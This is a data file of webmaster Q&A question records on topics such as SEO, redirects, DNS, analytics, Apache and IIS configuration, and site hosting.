{"id":"29564","title":"Does sitemap.xml have to be in the root directory?","text":"This may be a simple and absurd question, but is it completely necessary for sitemap.xml file to be in the root directory of the wordpress install directory of the site, or is it ok to create a subdirectory and place it there? i.e. \/sitemap\/sitemap.xml I've created a dynamically generated site map xml file, but would like to auto-generate it on the fly when changes are made, and need to be able to write to this file. I would like to keep the main wordpress folder permissions as they are and only have this subdirectory writable. Would love to hear any thoughts on the matter! Or alternate solutions... Merci!"}
{"id":"7070","title":"Why isn't Twitter widget working?","text":"I have Twitter's own widget set to load on a website, which works just fine. However, on my WP-powered blog the script is included but not rendered. I call it inside an empty `div` like this: > > <?php include $_SERVER['DOCUMENT_ROOT'].'\/twtr-widget.html' ?> > But it appears in the page source as HTML (I'm putting '...' to save room): > > <script src=\"http:\/\/widgets.twimg.com\/j\/2\/widget.js\"><\/script> > <script> > new TWTR.Widget({... > ...<\/script> > > > In other words, the script is not being executed. Why is this?"}
{"id":"29562","title":"How Can I Centralize Content Usage and Approval in a WordPress Multi-Site installation","text":"I am working with a non-profit client that runs several charities under one umbrella. A good metaphor would be to think of the United Way (but it's not the United Way). Can a WordPress multi-site installation do the following: 1. Share content between sites. E.g., if site A has a section called \"Advocacy\", can that same content also be shown in site B? This would need to include text, photos, etc. 2. How centralized can administration be made? For example, can draft posts from all websites be approved in one location? I'm sure there are other things I need to ask, but I'm still in the investigation phase."}
{"id":"29561","title":"Unable to make the facebook \"like\" button to work on this site, any ideas?","text":"This is the site >> http:\/\/www.elsolitariomc.com I'm using a plugin and also trying to use the usual facebook like button that it's explained here: https:\/\/developers.facebook.com\/docs\/reference\/plugins\/like\/ Anyhow, the like button simply doesn't work or appears to have a # url. I looked in StackExchange for any similar question, but all the problems seems to be different, any idea or link to an answer will be highly appreciated."}
{"id":"14394","title":"What hosting solutions help with traffic spikes?","text":"A web application is hypothetically featured on Digg or Reddit, and the server load immediately spikes up by a couple of orders of magnitude. What kind of hosting solution will allow the website to survive through a large flux like this? (and not cost a fortune) Hosting through AWS seems to be in fashion these days. However, many complain about the cost. Will a VPS hosting solution also be able to scale-up in a timely fashion, while costing less? Alternatives? Thanks."}
{"id":"37777","title":"Does e-commerce platform matter for branding","text":"The place I work is now looking into developing a new e-commerce site on the Magento platform. Magento will fill all of our needs. I was just wondering if it is in anyway unprofessional doing it this way (Impression is something we are really worried about), will people who visit the site look at our business different knowing we used Magento or any other e-commerce platform. There are ways to find out. I use Chrome Sniffer to find out what platforms are used to develop each site, there are other tools available for different browsers. Bottom-line: Will an e-commerce platform affect the trust in my brand?"}
{"id":"14397","title":"Website image\/link\/url checker","text":"Is there any sufficient software or tools to use to check website on below aspects 1. Images sizes * Sometimes some images were uploaded very big without knowing, this causes bandwidth and speed 2. Broken links * Bad for user experiences 3. Broken url * Bad for user as well I know a software called \"Link Validate\" or something. Anything else?"}
{"id":"11525","title":"SEO - Changing file extension","text":"I am going to change the file extension from \".htm\" to \".php\", is there any disadvantage with this action?"}
{"id":"18632","title":"How can I get plusone to display my images?","text":"I just put an google plusone button on my site. If I `+1` the page and then go to my google+ account and look at my `+1`'s it shows up, but it has no picture. So my question, are there any tips to get `+1` do display the information I want it to display, especially my logo?"}
{"id":"14393","title":"Google instant previews and adsense","text":"I have a site with a normal image header, a menu, then below that an adsense leaderboard, and then the content below that. The problem is that google instant previews, capture the adsense text and hightlights it (puts it in a box) at google instant previews of my pages. I really don't like the ad text be emphasized as the most important of my previews. Maybe google preview bot is doing that because adsense text is on the top. How I could either make instant preview ignore adsense text, or somehow reposition the adsense div with css, so that even if it's loaded after the content to be able to be positioned on the top of it? I use 960 grid"}
{"id":"54088","title":"Best to load external resources from third parties or from your own server?","text":"What is the best way to load external resources in order to speed up performance for your users? Should one load for example jQuery from Google CDN through: * https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.8\/jquery.js Or is it better download the file, store and serve it on our own server?"}
{"id":"18638","title":"Install software in the cloud","text":"Is there a way to have a windows xp running in the cloud and install software on it that more people in the organization can use? This in order to reduce the money spent on licenses for more developers"}
{"id":"8160","title":"What's the best way to version CSS and JS URLs - part 3","text":"this is a follow up question to this one What's the best way to version CSS and JS URLs - part 2 If I have my static files on Amazon cloudfront and have the file's URLs mentioned in my code. How will I be able to do versioning of my CSS files, so that the browser retrieves the latest version of the file when I update it on cloudfront. Couple of things **I do not want to** do when I am doing this are * change the filename in cloudfront and change the urls everywhere in the code * and then restarting the application server thanks"}
{"id":"8167","title":"Can anyone list some real examples of 'HTML5' being used in the wild?","text":"I am using HTML5 in the same way everyone seems to be using it these days, meaning: HTML5 tags, Canvas \/ 3D \/ javascript and CSS3. I am struggling to find examples of sites that are using these technologies practically and that are not just a demo of something cool someone has managed to do using Canvas or CSS3 transforms or shapes. I am looking for sites that have a nice visual look but also take advantage of things like animation, scrolling and offset à la Silverback or the Canvas to create an interactive and I guess 'Flash-looking' site. These are some examples that I have found: **Scrolling** * http:\/\/nikebetterworld.com\/index * http:\/\/benthebodyguard.com\/ **Animation** * http:\/\/www.elladesign.com\/contact.html **Other** * http:\/\/www.pirateslovedaisies.com\/ I am using HTML5 loosely and I hate to be using it. I would be happy if you listed a really visually appealing Javascript-based site but it didn't have the HTML5 doctype."}
{"id":"8165","title":"Working out costs to implement WCAG 2.0 (AA) site","text":"I've run our client's site through a WCAG 2.0 validator which has returned 415 tasks that need to be worked through in order to get it WCAG 2.0 compliant. For the most part, I can get a rough estimation of how long a task will take but there are tasks I have never had to do before which I am not sure how to cost. I would like to know if someone has a rough guide on what to cost a client to convert their site to a compliant WCAG 2.0 (AA) site."}
{"id":"8169","title":"Jokes search engine \/ PHP based search engine on database","text":"I'm looking for a script, functioning like the Google homepage that fetches data from a database rather than the internet. This is not intended to be a search engine, but a repository of jokes that can be pulled depending on the keywords typed. No sophisticated search techniques are required - keyword based is perfectly fine. If some mechanism of up\/down-voting jokes can be incorporated, that would be fantastic, but I'm presuming that will be an entirely different game."}
{"id":"67665","title":"Google Webmaster Tools crawl errors due to Google decoding links that were urlencoded by Codeigniter","text":"In our pages we have internal links that are _urlencoded_ because the URL may sometime contain special characters such as `()` or `!` So in our source code we have a link: `http:\/\/example.com\/American_Dad%21-245<br>` In Google Webmaster Tools I have an error for this same link: `http:\/\/example.com\/American_Dad!-245` So basically Google has decoded the link in my source code and was trying to access that decoded URL. However since this decoded URL has a special character `!`, my Codeigniter setup returns a `400` error status code. Is it possible to fix this issue without allowing special characters in Codeigniter setup, because I think those restrictions are important for the security of the site. Should I double _urlencode_ all my links as seems to be suggested by this post?"}
{"id":"15448","title":"301 vs 302 redirect for ?url=URL","text":"I have the following URL for affiliates: http:\/\/www.mydomain.com\/affiliates\/partners\/partnerName.do?url=http:\/\/www.mydomain.com\/product\/3 The value of url will change all the time. For this, I have used a 302 redirect. I chose to do this because `http:\/\/www.mydomain.com\/affiliates\/partners\/partnerName.do` can be redirected to several pages (because the url parameter can equal anything) and not just one page. I believe this is the correct thing to do, but someone from our marketing department told me not to use 302 redirects and to use a 301 redirect, because several SEO articles say 302 redirects are bad. I just want to confirm that the 302 redirect is the proper redirect to use for this particular case."}
{"id":"39356","title":"Apache utf-8 characters in filename","text":"I can't figure it why I can't open files (photos as a start) that contain utf-8 characters in their file name. For example, I have the following photo: `José-Antonio.jpg` , the browser outputs it as `Jos%C3%A9-Antonio.jpg` but trying to access it, will return an `404` error code. I tried and have these settings in my `\/etc\/httpd\/conf\/httpd.conf` but don't seem to fix it: #AddDefaultCharset UTF-8 AddDefaultCharSet ISO-8859-1 IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8 Any ideas what could go wrong? And btw, it seams the system supports utf-8 encoding... [root@u16641744 01]# locale LANG=en_US.UTF-8 LC_CTYPE=\"en_US.UTF-8\" LC_NUMERIC=\"en_US.UTF-8\" LC_TIME=\"en_US.UTF-8\" LC_COLLATE=\"en_US.UTF-8\" LC_MONETARY=\"en_US.UTF-8\" LC_MESSAGES=\"en_US.UTF-8\" LC_PAPER=\"en_US.UTF-8\" LC_NAME=\"en_US.UTF-8\" LC_ADDRESS=\"en_US.UTF-8\" LC_TELEPHONE=\"en_US.UTF-8\" LC_MEASUREMENT=\"en_US.UTF-8\" LC_IDENTIFICATION=\"en_US.UTF-8\" LC_ALL= `ls` result in a directory containing such files: -rw-r--r-- 1 user group 6093 Dec 22 17:39 Adoración-de-los-Magos-Botticelli-110x90.jpg But the curios thing is that the output of the following command, is wrong: perl -Mcharnames=:full -CS -wle 'print \"\\N{EURO SIGN}\"' |-> outputs: â¬"}
{"id":"67108","title":"Image Link with Nofollow tag. Good or Bad practice?","text":"Which is the best practice, from an SEO point of view, if you have a list of products which have both image and text link? 1) one A tag with the image and product name inside? `<a href=\"product_link\"><img src=\"...\" \/> <span>product name<\/span><\/a>` 2) an A tag for each html tag `<a href=\"product_link\"><img src=\"...\" \/><\/a> <a href=\"product_link\"><span>product name<\/span><\/a>` It's a good practice to put a rel=\"nofollow\" for the image link like in the image bellow?"}
{"id":"50707","title":"Top Level Domain (.com) and subdirectories for each country: Do they need their own content to rank in Google?","text":"If I want to have a new site with a `.com` domain and have a `\/uk\/` and `\/au\/` folder for ranking in the Google results for each country, do I need to create a `\/uk\/blog\/` and a `\/au\/blog\/` to get content for the `\/uk\/` site and the `\/au\/` site? Or can I go with `mydomain.com\/blog\/` with `mydomain.com\/uk\/` and `mydomain.com\/au\/` for each country with the `mydomain.com\/blog\/` content counting towards the ranking and backlinks for both `\/uk\/` and `\/au\/`? I hope that makes sense."}
{"id":"50250","title":"How can I create a subdomain to a Facebook page running on CloudFlare","text":"I'd like to add a subdomain to my website for an Android community Facebook page, using CloudFlare on my domain and subdomain. Please tell me how I might do that."}
{"id":"47500","title":"Selling Facebook Likes - are these quality Likes?","text":"People\/companies selling Facebook Likes guarantee 100-1000 likes for your Facebook page. Some say \"real looking likes\", \"permanent likes\", \"verified\", etc. I figured I'd try one of these guys out, and got 95 likes on a page. In my initial investigation of these likes, this is what I found: * All had 100+ friends, many of which are linked (all seem to have the same \"friends\") * All started around October with various quotes like \"If you are given a take-home exam, you will forget where you live.\", all posted on their timelines, with no new posts since February. These statuses seem to come from db's like that at cutefacebookstatus dot c()m (not providing them with any type of link-back). I there some application that's auto-generating these pages for these people? Do these types of \"Likes\" end up hurting a FB page's ranking\/ability to help the web page it points to?"}
{"id":"50419","title":"Using Google Analytics to track events that happen in an iframe","text":"I'm trying to track how many visitors click on a button in our site. The problem is the button is located within an iframe coming from an external service. Here is the page in question: http:\/\/www.anoisewithin.org\/support- us\/individual-giving\/#tabs-7 I would like to be able to measure how many visitors click the Search button in the iframe, but I am unable to append any Google Analytics tracking code to the button. Is there any other way I can track that particular click event?"}
{"id":"47509","title":"My webpage works using HTTP, but not using www","text":"I'm sorry to repeat this question as I saw it was previously asked. I would just like the answer in something that a complete idiot and newbie web developer (me) can understand. I actually hired a web developer to make my page for me and it only works when using HTTP and not when using `www`. They told me that everything was correct on their end and to contact the help desk at my domain server (GoDaddy). Is there something in GoDaddy that I can go check and fix myself to correct the problem?"}
{"id":"32795","title":"Recurring billing \/ profiles management system","text":"As a company, we have various recurring fees which our clients pay. These can include: * hosting plans * maintenance agreements * SLAs * ... I would like to know if anyone knows of a good, web-based recurring billing \/ payments management system which we could use to help us get more organised regarding this aspect of our business. Basically, we would need to: * Create recurring profiles, e.g. hosting, emails \/ domain services @ 200eur \/ year. * Be able to give free \/ extend the subscription period, for any reason. Also, we don't have specific products which we would like to choose and charge. All these recurring fees are discussed with the clients, and are created on a _per-client_ basis. I'm not sure if this is the best place to ask, however since I think most 'webmasters' require such a system to keep track of payment, I thought this would be the place to go for."}
{"id":"61699","title":"How to view custom Google Analytics dashboards month-by-month","text":"By default, the custom Google analytics dashboard widget which shows data in a timeline, shows the data on a day-by-day timeline. I would like to see the timeline data in a month-by-month view within the dashboard. I've tried looking for the following solutions: (a) hacking the querystring to force a different timeline view (b) a browser extensions which does the same without much success. Any other ideas\/suggestions\/solutions?"}
{"id":"61698","title":"I am looking for a tool, which can manage several Google + personal profiles (not pages!).","text":"I need a tool, which can manage several google + personal profiles (not pages) on one dashboard! Has any of you created such a masterpiece and would like to sell it?"}
{"id":"60679","title":"How do websites like trafficestimate.com and digsitesvalue estimate web traffic","text":"I hope this is the right place to post this, sorry if it is not. I am just so curious as to how they work or where they get their data. trafficestimate.com basically estimates how much traffic a site gets. My initial thought was that they multiply an alexa value by some constant but I have no idea how accurate that would be. Does anyone have any idea how they do it? Thanks"}
{"id":"29481","title":"SEO: Linking to a domain that redirects to a subdomain","text":"I have: www.mywebsite.com which redirects to `en.mywebsite.com`, `es.mywebsite.com`, `fr.mywebsite.com` depending on the user language, so there's not an indexed website in `www.mywebsite.com` However, when I put links to my website in other websites, I do not do it directly to the subdomain: Instead of this: http:\/\/fr.mywebsite.com\/article\/article123\/ I do this: http:\/\/www.mywebsite.com\/article\/article123\/ So the user gets redirected to that article in his language, or english if the user's language is not avaiable: http:\/\/en.mywebsite.com\/article\/article123\/ My question is, how do this affect SEO? Will the subdomains benefit from the backlinks? or just the main domain? (which would be a problem as there's no real content indexed there)."}
{"id":"34794","title":"does having a header image repeated on multiple pages effect seo?","text":"I heard from someone that having a header banner image repeated on every single page makes google see it as redundant. Is this true?"}
{"id":"61696","title":"Hiding page content from Google when it is duplicated across several sites","text":"I would like to hide some content from Google. Because a client has multiple websites with the same content then he gets a warning about duplicate content on some of them (multiple countries, same products same description for the products). I tried loading the content of the page with Ajax after the page has loaded but Google still sees it (hence the warning about duplicate content). Is there a better way to do this with Ajax? Can I run somehow the AJAX that loads the result after the page has loaded in a way that is not executed by Google. I would like to avoid any Black Hat if possible (I fully understand that this can be considered black hat too). I have also tried converting the text to images, that works decently but the text is not crisp enough even with AA enabled. I understand the Iframe trick too, but I want to get to it only if AJAX is not possible. Did anybody try putting functionality in an external JS file, not allowing google bot from indexing it and putting a function that loads AJAX in there externally?"}
{"id":"49242","title":"SEO\/link-juice implications of 'www.' links versus links without 'www.'","text":"I remember reading ages ago that it's a good idea to choose either `www.domain.com` or `domain.com` as your main URL and then set the other one as a 301 redirect to point to your domain? The reason provided was: 1. Some people may link to `www.domain.com` 2. Other links may point to `domain.com` In order to not lose 'SEO link juice', the individual recommended setting up a 301 redirect from one to the other. Has this changed? Is it true? I would have guessed that Google (and other search engines) would be smart enough to whack some code in their algorithm to understand that in most cases `www.domain.com` = `domain.com`?"}
{"id":"6093","title":"How many keywords should be selected for SEO?","text":"I am very new in this field and I wanted to do SEO for my blog . 1. How many keywords should I select? 2. After selecting the keywords,should I always focus on those keywords only?I mean whatever the post is I must add those keywords?or should it depend upon the posts?"}
{"id":"48302","title":"Conditional RedirectMatch based on IP","text":"How do I use this `RedirectMatch` with limiting by IP address? This is what I have right now, and it works as is: RewriteRule ^dir.*$ http:\/\/www.mysite.org\/otherdir\/ [R=302,L] I want this to work only if _not_ accessed from two different IP addresses. A visit from any other IP address should execute this code in my _.htaccess_. **Edit:** Exact code as it appears in my _.htaccess_ file: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteCond %{REMOTE_ADDR} !^127\\.0\\.0\\.1 [OR] RewriteCond %{REMOTE_ADDR} !^xx\\.xxx\\.xxx\\.x #masked on purpose RewriteRule ^dir.*$ http:\/\/www.mysite.org\/otherdir\/ [R=302,L] <\/IfModule> **Edit 2:** I am now using this in my .htaccess file `RewriteCond %{REMOTE_ADDR} !^127\\\\.0\\\\.0\\\\.1` `RewriteRule ^conference - [F]` This works on my local machine, but if I switch to my external IP address, it's completely ignored."}
{"id":"24415","title":"How to stop analytics tracking GET variables?","text":"Google tracks every GET variable as a single page. 1 visit - example.com\/register.php?ref=6 1 visit - example.com\/register.php?ref=12 1 visit - example.com\/register.php?ref=2 Is it possible to disable the tracking of GET variables? 3 visits - example.com\/register.php"}
{"id":"24417","title":"How to register a single character SLD","text":"Most of the major registrars have a 3 character minimum for second-level domains. However, I know that it's possible to register them. (a.cc, o.co) You can ever register single unicode domain names (௫.net, ✈.com, ಠ.com) How is that possible? I know that IANA has most of the .coms restricted, but other TLDs are available and I'm sure more are to come."}
{"id":"4383","title":"How do you value keywords across SEO and SEM?","text":"For example the cost of a keyword in Google PPC system does not equal it's value, just how much people are willing to pay for it. Really not sure if the question makes sense, so please feel free to ask questions. Thanks!"}
{"id":"1371","title":"How would you establish user credibility for your web app?","text":"One of the problems with general public facing apps is to deal with fake user accounts. Using an Open ID service doesn't solve this, as anyone can open multiple Google accounts and register as many different users with many different open ID accounts. Notice that this question is beyond authentication - I'm assuming that the user behind the fake user accounts takes the time to authenticate by email, and uses a legitimate username and password. In StackExchange apps this is done by giving a minimum of 15 rep before the user can do anything significant on the site. Not all webapps have this luxury, as some apps are built for short-lived user accounts, such as e-commerce apps or certain forums, which usually do not build a long term relationship with users. Is there a systematic way to establish user credibility?"}
{"id":"28216","title":"Confirm that a dns zone is served by a nameserver","text":"We currently have a domain which has custom nameservers. Our host has their own nameservers. I'd like to switch our domain to use our host's nameservers for a while. Our host tells me that their nameservers hold a replica of our dns zone, but I'd like to confirm this before I switch. Is there a command line tool I can use that I can use to answer the question _\"does this nameserver know the dns zone of this domain?\"_ Hope that makes sense! Thanks, Adam"}
{"id":"28217","title":"Are Google affiliate ads automatically included if you use Google AdSense?","text":"If you're running Google AdSense on your site will it automatically include Google Affiliate ads as a 3rd party network if it thinks that will optimize revenue? Or do you have to explicitly setup Google Affiliates and opt in and setup the relevant JavaScript etc?"}
{"id":"28966","title":"zlib compression issues","text":"I'm having some issues running zlib compression on my site .. Firstly if I enable zlib compression in .htaccess using: `php_value output_handler ob_gzhandler` then I receive thousands of lines of the following error: > PHP Warning: Cannot modify header information - headers already sent in > Unknown on line 0 I have checked all files used for whitespace and any other characters that shouldn't be there with a hex editor but I could not get that error to subside with zlib turned on in .htaccess. Therefore I have tried to turn zlib compression on in the php.ini file using: zlib.output_compression \"1\" zlib.output_compression_level \"1\" However I'm now told by compression checkers that I have no compression turned on so it doesn't appear to be in the correct format?"}
{"id":"42922","title":"As a beginner, I would like to know which should be the markup language to startup with","text":"I am a beginner in Web Designing. For sure a CMS like Joomla (Joomla 3.1, now) is very useful for one who doesn't care about coding. But... I know for sure that the ability of coding really helps a lot in the production of stunning websites. And I wish to produce magnificent Sites, only. I measured my forces by producing a first Site, namely A Site for the free tuition of Computer Matters, using Joomla 2.5 This Site is still under development. I learned, by attending Lynda movies, that XHTML.1 is preferable, when compared with HTML 4.1 Now, my questions are: Would it be preferable to start with HTML5? I don't think so. Is it true that HTML5 works badly with certain browser like Explorer?...and not so well in any case? I would do really appreciate a Master's advice. Tks Bruno"}
{"id":"22472","title":"Domain name at GoDaddy in not being linked to site hosted at Webhostingpad?","text":"I just purchased the domain name at GoDaddy and I wanted to link it to my WEBHOSTINGPAD.COM hosting account. This is what I set in my nameservers: Nameservers: (Last update 11\/23\/2011) NS1.WEBHOSTINGPAD.COM NS2.WEBHOSTINGPAD.COM  but formatron.net still not being linked to my site at WEBHOSTINGPAD.COM. Am I doing something wrong?"}
{"id":"22474","title":"Short keyword-only HTML Title or Long Titles - to rank better","text":"I would like to know if **long html titles should be used** for pages instead of _google adwords keyword tool based_ **short titles** - for SEO \/ Ranking purposes? I feel that it is a **mistake** to use short html titles made up of 2-3 words **strictly based on google adwords keyword tool**. I have tried using short ones based on what the adwords keyword tool suggested, but **that has served me no purpose** as I cannot see my website pages anywhere in the search results. Please correct me, if wrong."}
{"id":"13728","title":"Are send to a friend features in websites obselete?","text":"Often I am asked to create send to a friend forms for websites where a user can enter a few of their friends email addresses to which a URL is forwarded via email. My question is now that we have so many like buttons for services such as Facebook and Twitter are these forms even necessary any more? Do people even still fill them in in your experience? I ask as I generally tend to avoid creating them due to their propensity to get hammered by spammers attempting to re-purpose them for nefarious ends. Also are there any tips to help mitigate the risk when using PHP? For example could tracking and rate limiting IP addresses be a good approach? Any other ideas in this direction? I am totally against any form of captcha and hate websites that use them. Currently I am using a combination of PHPMailer and SwiftMailer across various projects for the actual sending of the mail."}
{"id":"4038","title":"HTTP response for deleted or disabled items on ecommerce store","text":"What HTTP response should you send when an item\/category on your ecommerce site has been disabled or deleted? 410 looks correct for deleted products but not sure about something that has been disabled temporarily"}
{"id":"26365","title":"How long can I purchase a expired domain name?","text":"I am currently interested in a domain name. Its whois information are > Updated Date: 10-jan-2012 > > Creation Date: 1-dec-2010 > > Expiration Date: 1-dec-2011 How long I still need to wait to purchase this domain name freely as it is a unregistered domain name? What's the 'updated date'? What's the usual steps for an expired domain name?"}
{"id":"26367","title":"Where can I find the most up-to-date information on my domain's name servers?","text":"I just switched registrars for a bunch of domains and the new registrar didn't copy over my existing name servers. Now all my pages appear as \"parked\" domains when you visit them. I've gone in and updated all of the name servers with my new registrar, back to their old values, but I want to make sure those changes have taken affect. I know I need to wait for ISPs to update their caches once the name servers change back, but I was wondering if there was some central ICANN database I could check to make sure they were updated properly. Thanks!"}
{"id":"11378","title":"How can I tell if someone is logged into a google account?","text":"At this point I don't want to interface w\/ google account, I just would like to know if they are logged in to a google account or not, and then serve slightly different links if they are|aren't. I'm using PHP and strict (where possible) HTML 4."}
{"id":"11370","title":"How can I get an \"Official site\" banner\/area on Bing?","text":"If I search for a product name on Bing, for example \"paint.net\", the first result is something that looks like an advertising area, but it's called \"Official Site\". How is it possible to get something like that for my own products?"}
{"id":"60968","title":"I bought a WordPress theme from a person claiming to hold a developer license","text":"I bought a WordPress theme from a person claiming to hold a developer license, but, later I found that he didn't have the developer license. He had purchased it as a basic license. Can this impact my theme in terms of licensing issues? What if the theme maker finds this? Is there a way to get caught? I know this is a common practice on the web, but wanted to make sure that i am using the right things on my site."}
{"id":"35847","title":"SEO consideration for duplicate sites","text":"I am building a brochure-ware website for a company that sells products all across the world. They need the site to ask the user what region they are in before using the site; there are 5 regions. This is because there are different products offered to different regions and each region may or may not want to customize their own content. However, at launch and likely forever, most of the pages will be the exact same minus what is listed in the footer and in the product selection menu. _My question is how should I structure the sitemap for this site for best SEO?_ Should I be concerned with duplicate content penalties and\/or cannibalizing the site's presence on the SERP? Some considerations: * The client wants to be able to print links directly to regional specific content bypassing any prompt for the user to select a region (to ensure they land on the target page). * The client cannot have a 'default' region so the user must have a region specified * \"Clean\" urls are important, but there is wiggle room * The client does not want each region to have its own domain * There will be a link on the page to allow users to specify a different region * The client is not concerned with localization ...at this time * Some products are available in multiple regions A quick list of options I am considering: 1. **www.site.com\/region\/page** 2. **region.site.com\/page** 3. **www.site.com\/page?region** (no cookie, pages require the parameter. If visited without; the user must select a region) 4. **www.site.com\/page** (using cookie and a splash screen if needed; could pass parameter in to set the region for direct linking) Thanks in advance for your advice."}
{"id":"19148","title":"Are mailto: links practically deprecated?","text":"I was thinking... 1. Mailto: links are handled by standalone email clients only. 2. Most users nowadays use webmail (like GMail). 3. Webmail can't handle mailto: links. 4. When a webmail user clicks a mailto: link, he gets either a confusing message about no email client installed, or the link opening in an email client he doesn't use. 5. Anyone can copy and paste an email address, considering the addresses don't always come in a mailto:. Ergo, mailto: links are harmful and deprecated? Should I not use them when I need to display an email address?"}
{"id":"19411","title":"Change of domain - SEO backlink inheritance","text":"I've just built a new site and switched to a new domain. The previous domain had good SEO performance and had hundreds of quality backlinks - I set up a 301 redirect for any requests to the old domain name, and I assumed that the new domain would inherit the previous domain's backlinks. It's still early days yet but am I right in thinking this? If i check yahoo site explorer or google's webmaster tools, i don't see any of the backlinks including those which pointed to the old domain."}
{"id":"19145","title":"How do I host .cur image cursor files?","text":"I'm using a `.cur` file as an image cursor. I uploaded it to the only image host that I could find that accepts `.cur` files, but lately it doesn't properly load the cursor anymore. My webhost now doesn't accept `.cur` files. I converted it to `.png` but those won't show in IE Basically I'm looking for a way to host\/upload a `.cur` file."}
{"id":"60342","title":"Replacing url parameters tool usage with canonical \/ robots.txt to avoid crawl time","text":"For a long time I've been getting `Googlebot found an extremely high number of URLs` warnings, which I know don't necessarily indicate there is a problem, but I am trying to reduce the amount of links that are crawlable by Google to help him focus on what's more important. I'm thinking of changing a URL Parameter settings with a canonical link. I have filter parameters which I've set as `Narrows` and `Specifies` in WMT URL Parameters:  These internal filter pages have value, but bringing the user to the main page without any filters is almost good enough, and I think this is a trade off I should make considering I have too many pages compared to my reputation, thus getting those warning messages. Two options I'm thinking of: 1. Adding a meta canonical tag for urls with a filter parameters selected, to the page without the narrowing \/ specification of these filters. 2. Adding robots.txt to avoid crawling of those pages. (this will not waste the crawler's time trying to find the canonical meta tag, but will throw away the current link power these pages have to the trash, instead of passing it on the the page without any filter selected). Would you recommend any of these?"}
{"id":"56229","title":"Why use underscores in URLs with UTMs?","text":"Back in the day (2005), Matt Cutts said \"use dashes, not underscores\" in URLs. But that was before search engines got smart, and now it seems it doesn't really matter what you use in canonical URLs. But what about URLs with UTMs? **How can dashes vs. underscores help us understand traffic in Google Analytics?** B2C published a blog post in September 2013 analyzing the different ways that different companies use UTMs in email marketing materials. At the end of the Gilt City email, the author says: > An underscore should be used in “san-francisco” part of utm_campaign. This > tells us it is one word and separates it from the other information. When the author gets to the Zillow email, he mentions: > Separating different pieces of information by a dash (“-”) helps to parse > them easily in analytics tools. I'm modestly savvy with Google Analytics, and I'm having trouble seeing the advantage of using an underscore to link compound phrases such as `promoted link`, `sponsored story`, `sidebar ad` or other multi-word phrases that I might choose to regularly use in my company's UTM schema. Is there an advantage in Google Analytics to linking these words one way or the other?"}
{"id":"56226","title":"Building domain authority for rich snippets","text":"I recently added breadcrumb and product rich snippets for my site but they are not being displayed in Google's returned search results. My other sites seem to be fine but my eCommerce site's rich snippets just aren't getting picked up. According to my research the site needs more authority. Does anyone have any experience with this, or any idea on how to build \"rich snippet authority\"?"}
{"id":"52257","title":"how to host 2 domains in 1 tomcat instance","text":"I have 2 domains which point to my virtual server. The domains are accessible using different context paths like below: * domain1.com:8080\/1stapp * domain1.com:8080\/2ndapp How should I configure Tomcat so that I can access my domains like below: * domain1:com:8080 * domain2:com:8080"}
{"id":"56220","title":"IIS 7.5 and authenticating client certificates","text":"I am trying to understand if the functionality I am seeing is how client certs and SSL is supposed to work, or if I've done something wrong. I have a site running under IIS 7.5 that is using a cert obtained from my company's internal certificate server. I have set the binding for the cert, and required client certs through the IIS UI. When I navigate to the site it prompts me for the certificate before I proceed and requires it as expected. Here is the question, I was told that part of the authentication done by the server was that the client certificate had to be issued from within the same PKI infrastructure. For example a cert issued from the same server as the SSL should work, but a cert issued by say Verisign would not be accepted. That does not seem to be the case, it appears that the server will accept and client certificate as long the as CA that issued it is listed as a Trusted Root on the server. Is that correct? Is there a simple setting I can change to alter that? Since I'm issuing the certificates from my own server I could create a custom certificate validation along the way to validate things further but I was wondering if I am missing something simple or not and I haven't yet found any articles that explain what the server does to validate the client certificate."}
{"id":"48443","title":"Google failing to recognize authoritive website?","text":"I have a situation that I do not fully understand, related to syndicated content. My site - where the original version of my articles is being published, is being seen by Google not as the _original\/canonical_ version. Instead, the site that is syndicating the content is seen as the original version. This doesn't look to be a simple case of both versions are valid, but the syndicated site is just better promoted, but that it's actually the original version, for several articles. For example: * My article * The syndicated article * The search The syndicated version is on 3rd place, my own content doesn't appear in the first 100 results. The website that syndicates my content does have a link back to my article; it also has the date on the article page, but it looks like this is the updated date, not the published date: `<span class=\"date updated\">May 7th, 2013<\/span>` On my website, the date looks like this: `<abbr title=\"2013-05-01T16:13:14+0000\" class=\"date time published\">May 1, 2013<\/abbr>` Should the syndicating site also use proper timestamps and a publish date? Can this be the reason Google picks it up as the original version? Also, is there any way to fix this problem?"}
{"id":"23872","title":"Is content inside IE conditional comments indexed by search engines?","text":"Although I'm aware of the various methods to show content only to users of a specific IE version, I was wondering if using conditional comments would have an effect on the way my site is indexed. If I choose to use conditional comments, I don't want to see something like this in Google search results:  Is this a possibility? Please note that the above is merely an example. Another example could be marking up an entire section of the page targeted at Internet Explorer: <!--[if IE 6]> <div> <h3>IE6 Instructions<\/h3> <p>To save the foobar, right click the link and select \"Save as...\"<\/p> <p>More content for IE6...<\/p> <\/div> <![endif]--> Could this on its own ever return a result for the phrase \"foobar\", i.e. would this content be indexed by any relevant crawlers? Is content inside IE conditional comments indexed by any search engines?"}
{"id":"23871","title":"The concept of reputation and its effects on an online community","text":"Having recently introduced the concept of a '+rep' button to an online community I manage, I've noticed a couple of things. It functions as the thanks button does on vBulletin (user says 'thanks' to a poster, and the poster has a record of all the thanks they've given and received. There is a listing of who has thanked a person below a post). Primarily it has become a way to add a voice to a discussion, without actually requiring the effort to type out a fully formed response. This brings the advantage of easily gauging popular opinions, and is a fun way of indicating good contributions to a thread. However, is has also been detrimental, particularly during disagreements where people feel 'ganged up' on by a crowd of non-participants. Fortunately this doesn't happen too often, given the size of my community (70-100 actives), but there have still been requests to disable the feature. I have a couple of questions. 1. What is the best way of keeping the concept of '+rep' or thanks without letting the mechanism be abused during personal disagreements between two members? 2. Are there any examples of such a system scaling well to larger communities? How was this achieved?"}
{"id":"23877","title":"Someone Reported That My Company Is Out Of Business","text":"I Googled our company name and found that someone had given us a review on the maps site. He gave us a 1 star review and his review was simply \"Out of Business\". We are definitely NOT out of business!!! I looked at his other reviews and he has given 69 1 star reviews, most of which are for companies in our shared industry (competitors). I flagged the one post as inappropriate and selected \"other\". Is there anything else I can do to prevent this guy from slandering our company (and others!)!"}
